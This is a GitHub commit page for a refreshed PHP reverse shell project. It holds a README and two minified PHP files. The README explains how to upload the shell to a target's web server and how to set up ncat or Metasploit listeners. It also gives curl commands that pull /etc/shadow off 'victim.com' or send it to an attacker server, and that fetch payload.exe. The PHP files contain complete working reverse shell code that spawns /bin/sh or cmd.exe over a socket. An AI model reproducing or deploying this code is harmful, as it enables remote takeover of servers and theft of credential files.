Skip to content

Commit 61721d9

Browse files
committed
Initial Commit
0 parents  commit 61721d9

17 files changed

+988
-0
lines changed

.gitattributes

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Auto detect text files and perform LF normalization
2+
* text=auto

LICENSE

+339
Large diffs are not rendered by default.

README.md

+129
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
# PHP Reverse Shell
2+
3+
Just a little refresh on the popular PHP reverse shell script [pentestmonkey/php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell). Credits to the original author!
4+
5+
Works on Linux OS and macOS with `/bin/sh` and Windows OS with `cmd.exe`. Script will automatically detect an underlying OS.
6+
7+
Works with both `ncat` and `multi/handler`.
8+
9+
Tested on XAMPP for Linux v7.3.19 (64-bit) with PHP v7.3.19 on Kali Linux v2020.2 (64-bit).
10+
11+
Tested on XAMPP for OS X v7.4.10 (64-bit) with PHP v7.4.10 on macOS Catalina v10.15.6 (64-bit).
12+
13+
Tested on XAMPP for Windows v7.4.3 (64-bit) with PHP v7.4.3 on Windows 10 Enterprise OS (64-bit).
14+
15+
In addition, everything was tested on Docker images [nouphet/docker-php4](https://hub.docker.com/r/nouphet/docker-php4) with PHP v4.4.0 and [steeze/php52-nginx](https://hub.docker.com/r/steeze/php52-nginx) with PHP v5.2.17.
16+
17+
Made for educational purposes. I hope it will help!
18+
19+
**Process pipes on Windows OS do not support asynchronous operations so `stream_set_blocking()`, `stream_select()`, and `feof()` will not work properly, but I found a workaround.**
20+
21+
## Table of Contents
22+
23+
* [Reverse Shells](#reverse-shells)
24+
* [Web Shells](#web-shells)
25+
* [File Upload/Download Script](#file-uploaddownload-script)
26+
* [Case 1: Upload the Script to the Victim’s Server](#case-1-upload-the-script-to-the-victims-server)
27+
* [Case 2: Upload the Script to Your Server](#case-2-upload-the-script-to-your-server)
28+
* [Set Up a Listener](#set-up-a-listener)
29+
* [Images](#images)
30+
31+
## Reverse Shells
32+
33+
[/src/reverse/php_reverse_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php) requires PHP v5.0.0 or greater, mainly because `proc_get_status()` is used.
34+
35+
[/src/reverse/php_reverse_shell_older.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell_older.php) requires PHP v4.3.0 or greater.
36+
37+
**Change the IP address and port number inside the scripts as necessary.**
38+
39+
Copy [/src/reverse/php_reverse_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php) to your server's web root directory (e.g. to /opt/lampp/htdocs/ on XAMPP) or upload it to your target's web server.
40+
41+
Navigate to the file with your preferred web browser.
42+
43+
## Web Shells
44+
45+
Check the [simple PHP web shell](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/web/simple_php_web_shell_post.php) based on HTTP POST request.
46+
47+
Check the [simple PHP web shell](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/web/simple_php_web_shell_get.php) based on HTTP GET request. You must [URL encode](https://www.urlencoder.org) your commands.
48+
49+
Check the [simple PHP web shell v2](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/web/simple_php_web_shell_get_v2.php) based on HTTP GET request. You must [URL encode](https://www.urlencoder.org) your commands.
50+
51+
Find out more about PHP obfuscation techniques for older versions of PHP at [lcatro/PHP-WebShell-Bypass-WAF](https://github.com/lcatro/PHP-WebShell-Bypass-WAF). Credits to the author!
52+
53+
## File Upload/Download Script
54+
55+
Check the [simple PHP file upload/download script](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/web/files.php) based on HTTP POST request for file upload and HTTP GET request for file download.
56+
57+
When downloading a file, you should [URL encode](https://www.urlencoder.org) the file path, and specify name of the output file.
58+
59+
### Case 1: Upload the Script to the Victim’s Server
60+
61+
Navigate to the script on the victim's server with your preferred web browser, or use cURL from you PC.
62+
63+
Upload a file to the victim's server web root directory from your PC:
64+
65+
```fundamental
66+
curl -s -k -X POST https://victim.com/files.php -F file=@/root/payload.exe
67+
```
68+
69+
Download a file from the victim's PC to your PC:
70+
71+
```fundamental
72+
curl -s -k -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
73+
```
74+
75+
If you use reverse shell and you have elevated your initial privileges, this script might not have the same privileges as your shell. To download a certain file, you might need to copy the file to the web root directory and give it necessary read permissions.
76+
77+
### Case 2: Upload the Script to Your Server
78+
79+
From your PHP reverse shell, run the following cURL commands.
80+
81+
Upload a file from the victim's PC to your server web root directory:
82+
83+
```fundamental
84+
curl -s -k -X POST https://your-server.com/files.php -F file=@/etc/shadow
85+
```
86+
87+
Download a file from your PC to the victim's PC:
88+
89+
```fundamental
90+
curl -s -k -X GET https://your-server.com/files.php?file=/root/payload.exe -o payload.exe
91+
92+
curl -s -k -X GET https://your-server.com/payload.exe -o payload.exe
93+
```
94+
95+
## Set Up a Listener
96+
97+
To set up a listener, open your preferred console on Kali Linux and run one of the examples below.
98+
99+
Set up `ncat` listener:
100+
101+
```fundamental
102+
ncat -nvlp 9000
103+
```
104+
105+
Set up `multi/handler` listener:
106+
107+
```fundamental
108+
msfconsole -q
109+
110+
use exploit/multi/handler
111+
112+
set PAYLOAD windows/shell_reverse_tcp
113+
114+
set LHOST 192.168.8.185
115+
116+
set LPORT 9000
117+
118+
exploit
119+
```
120+
121+
## Images
122+
123+
<p align="center"><img src="https://github.com/ivan-sincek/php-reverse-shell/blob/master/img/ncat.png" alt="Ncat"></p>
124+
125+
<p align="center">Figure 1 - Ncat</p>
126+
127+
<p align="center"><img src="https://github.com/ivan-sincek/php-reverse-shell/blob/master/img/scripts_dump.jpg" alt="Script Dump"></p>
128+
129+
<p align="center">Figure 2 - Script's Dump</p>

img/ncat.png

118 KB
Loading

img/scripts_dump.jpg

119 KB
Loading
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<?php class Sh{private $a=null;private $p=null;private $os=null;private $sh=null;private $des=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));private $b=1024;private $c=0;private $e=false;public function __construct($a,$p){$this->a=$a;$this->p=$p;}private function det(){$d=true;if(stripos(PHP_OS,'LINUX')!==false){$this->os='LINUX';$this->sh='/bin/sh';}else if(stripos(PHP_OS,'WIN32')!==false||stripos(PHP_OS,'WINNT')!==false||stripos(PHP_OS,'WINDOWS')!==false){$this->os='WINDOWS';$this->sh='cmd.exe';}else{$d=false;echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";}return $d;}private function daem(){$e=false;if(!function_exists('pcntl_fork')){echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";}else if(($pid=@pcntl_fork())<0){echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";}else if($pid>0){$e=true;echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";}else if(posix_setsid()<0){echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";}else{echo "DAEMONIZE: Completed successfully!\n";}return $e;}private function set(){@error_reporting(0);@set_time_limit(0);@umask(0);}private function d($d){$d=str_replace('<','&lt;',$d);$d=str_replace('>','&gt;',$d);echo $d;}private function r($s,$n,$b){if(($d=@fread($s,$b))===false){$this->e=true;echo"STRM_ERROR: Cannot read from {$n}, script will now exit...\n";}return $d;}private function w($s,$n,$d){if(($by=@fwrite($s,$d))===false){$this->e=true;echo"STRM_ERROR: Cannot write to {$n}, script will now exit...\n";}return $by;}private function rw($i,$o,$in,$on){while(($d=$this->r($i,$in,$this->b))&&$this->w($o,$on,$d)){if($this->os==='WINDOWS'&&$on==='STDIN'){$this->c+=strlen($d);}$this->d($d);}}private function brw($i,$o,$in,$on){$f=fstat($input);$s=$f['size'];if($this->os==='WINDOWS'&&$in==='STDOUT'&&$this->c){while($this->c>0&&($by=$this->c>=$this->b?$this->b:$this->c)&&$this->r($i,$in,$by)){$this->c-=$by;$s-=$by;}}while($s>0&&($by=$s>=$this->b?$this->b:$s)&&($d=$this->r($i,$in,$by))&&$this->w($o,$on,$d)){$s-=$by;$this->d($d);}}public function rn(){if($this->det()&&!$this->daem()){$this->set();$soc=@fsockopen($this->a,$this->p,$ern,$ers,30);if(!$soc){echo"SOC_ERROR: {$ern}: {$ers}\n";}else{stream_set_blocking($soc,false);$proc=@proc_open($this->sh,$this->des,$ps,null,null);if(!$proc){echo "PROC_ERROR: Cannot start the shell\n";}else{foreach($ps as $p){stream_set_blocking($p,false);}$stat=proc_get_status($proc);@fwrite($soc,"SOCKET: Shell has connected! PID: {$stat['pid']}\n");do{$stat=proc_get_status($proc);if(feof($soc)){echo "SOC_ERROR: Shell connection has been terminated\n";break;}else if(feof($ps[1])||!$stat['running']){echo "PROC_ERROR: Shell process has been terminated\n";break;}$s=array('read'=>array($soc,$ps[1],$ps[2]),'write'=>null,'except'=>null);$ncs=@stream_select($s['read'],$s['write'],$s['except'],0);if($ncs===false){echo "STRM_ERROR: stream_select() failed\n";break;}else if($ncs>0){if($this->os==='LINUX'){if(in_array($soc,$s['read'])){$this->rw($soc,$ps[0],'SOCKET','STDIN');}if(in_array($ps[2],$s['read'])){$this->rw($ps[2],$soc,'STDERR','SOCKET');}if(in_array($ps[1],$s['read'])){$this->rw($ps[1],$soc,'STDOUT','SOCKET');}}else if($this->os==='WINDOWS'){if(in_array($soc,$s['read'])){$this->rw($soc,$ps[0],'SOCKET','STDIN');}if(($f=fstat($pipes[2]))&&$f['size']){$this->brw($ps[2],$soc,'STDERR','SOCKET');}if(($f=fstat($pipes[1]))&&$f['size']){$this->brw($ps[1],$soc,'STDOUT','SOCKET');}}}}while(!$this->e);foreach($ps as $p){fclose($p);}proc_close($proc);}fclose($soc);}}}}echo '<pre>';$sh=new Sh('127.0.0.1',9000);$sh->rn();unset($sh);/*@gc_collect_cycles();*/echo '</pre>'; ?>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<?php class Sh{var $a=null;var $p=null;var $os=null;var $sh=null;var $des=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));var $b=1024;var $c=0;var $e=false;function Sh($a,$p){$this->a=$a;$this->p=$p;}function det(){$d=true;if(strpos(strtoupper(PHP_OS),'LINUX')!==false){$this->os='LINUX';$this->sh='/bin/sh';}else if(strpos(strtoupper(PHP_OS),'WIN32')!==false||strpos(strtoupper(PHP_OS),'WINNT')!==false||strpos(strtoupper(PHP_OS),'WINDOWS')!==false){$this->os='WINDOWS';$this->sh='cmd.exe';}else{$d=false;echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";}return $d;}function daem(){$e=false;if(!function_exists('pcntl_fork')){echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";}else if(($pid=@pcntl_fork())<0){echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";}else if($pid>0){$e=true;echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";}else if(posix_setsid()<0){echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";}else{echo "DAEMONIZE: Completed successfully!\n";}return $e;}function set(){@error_reporting(0);@set_time_limit(0);@umask(0);}function d($d){$d=str_replace('<','&lt;',$d);$d=str_replace('>','&gt;',$d);echo $d;}function r($s,$n,$b){if(($d=@fread($s,$b))===false){$this->e=true;echo"STRM_ERROR: Cannot read from {$n}, script will now exit...\n";}return $d;}function w($s,$n,$d){if(($by=@fwrite($s,$d))===false){$this->e=true;echo"STRM_ERROR: Cannot write to {$n}, script will now exit...\n";}return $by;}function rw($i,$o,$in,$on){while(($d=$this->r($i,$in,$this->b))&&$this->w($o,$on,$d)){if($this->os==='WINDOWS'&&$on==='STDIN'){$this->c+=strlen($d);}$this->d($d);}}function brw($i,$o,$in,$on){$f=fstat($input);$s=$f['size'];if($this->os==='WINDOWS'&&$in==='STDOUT'&&$this->c){while($this->c>0&&($by=$this->c>=$this->b?$this->b:$this->c)&&$this->r($i,$in,$by)){$this->c-=$by;$s-=$by;}}while($s>0&&($by=$s>=$this->b?$this->b:$s)&&($d=$this->r($i,$in,$by))&&$this->w($o,$on,$d)){$s-=$by;$this->d($d);}}function rn(){if($this->det()&&!$this->daem()){$this->set();$soc=@fsockopen($this->a,$this->p,$ern,$ers,30);if(!$soc){echo"SOC_ERROR: {$ern}: {$ers}\n";}else{stream_set_blocking($soc,false);$proc=@proc_open($this->sh,$this->des,$ps);if(!$proc){echo "PROC_ERROR: Cannot start the shell\n";}else{foreach($ps as $p){stream_set_blocking($p,false);}@fwrite($soc,"SOCKET: Shell has connected!\n");do{if(feof($soc)){echo "SOC_ERROR: Shell connection has been terminated\n";break;}else if(feof($ps[1])){echo "PROC_ERROR: Shell process has been terminated\n";break;}$s=array('read'=>array($soc,$ps[1],$ps[2]),'write'=>null,'except'=>null);$ncs=@stream_select($s['read'],$s['write'],$s['except'],0);if($ncs===false){echo "STRM_ERROR: stream_select() failed\n";break;}else if($ncs>0){if($this->os==='LINUX'){if(in_array($soc,$s['read'])){$this->rw($soc,$ps[0],'SOCKET','STDIN');}if(in_array($ps[2],$s['read'])){$this->rw($ps[2],$soc,'STDERR','SOCKET');}if(in_array($ps[1],$s['read'])){$this->rw($ps[1],$soc,'STDOUT','SOCKET');}}else if($this->os==='WINDOWS'){if(in_array($soc,$s['read'])){$this->rw($soc,$ps[0],'SOCKET','STDIN');}if(($f=fstat($pipes[2]))&&$f['size']){$this->brw($ps[2],$soc,'STDERR','SOCKET');}if(($f=fstat($pipes[1]))&&$f['size']){$this->brw($ps[1],$soc,'STDOUT','SOCKET');}}}}while(!$this->e);foreach($ps as $p){fclose($p);}proc_close($proc);}fclose($soc);}}}}echo '<pre>';$sh=new Sh('127.0.0.1',9000);$sh->rn();unset($sh);echo '</pre>'; ?>

0 commit comments

Comments
 (0)